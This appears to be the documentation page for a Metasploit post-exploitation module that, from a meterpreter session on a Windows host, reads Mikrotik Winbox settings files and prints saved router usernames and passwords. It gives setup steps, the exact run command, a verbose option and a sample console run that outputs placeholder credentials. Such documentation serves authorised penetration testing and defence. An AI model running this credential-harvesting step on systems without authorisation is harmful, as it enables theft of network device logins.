1.1 KiB
1.1 KiB
Vulnerable Application
Any Windows host with a meterpreter
session and Mikrotik Winbox installed.
Winbox can be downloaded here
Installation Steps
- Download and open Mikrotik Winbox
- Enter a RouterOS device address into
Connect to
, username intoLogin
, password intoPassword
and check the flagKeep Password
- Click Connect
Verification Steps
- Get a
meterpreter
session on a Windows host. - Do:
run post/windows/gather/credentials/winbox_settings
- If any users in the system has a
Keep Password
enabled in Winbox, the credentials will be printed out.
Options
VERBOSE
- By default verbose is turned off. When turned on, the module will show the HexDump of
settings.cfg.viw
files.
Scenarios
msf6 post(windows/gather/credentials/winbox_settings) > run
[*] VERBOSE: false
[*] Checking Default Locations...
[*] C:\Users\Administrator\AppData\Roaming\Mikrotik\Winbox\settings.cfg.viw not found ....
[*] Found File at C:\Users\FooBar\AppData\Roaming\Mikrotik\Winbox\settings.cfg.viw
[+] Login: ThisIsUsername
[+] Password: ThisIsPassword
[*] Post module execution completed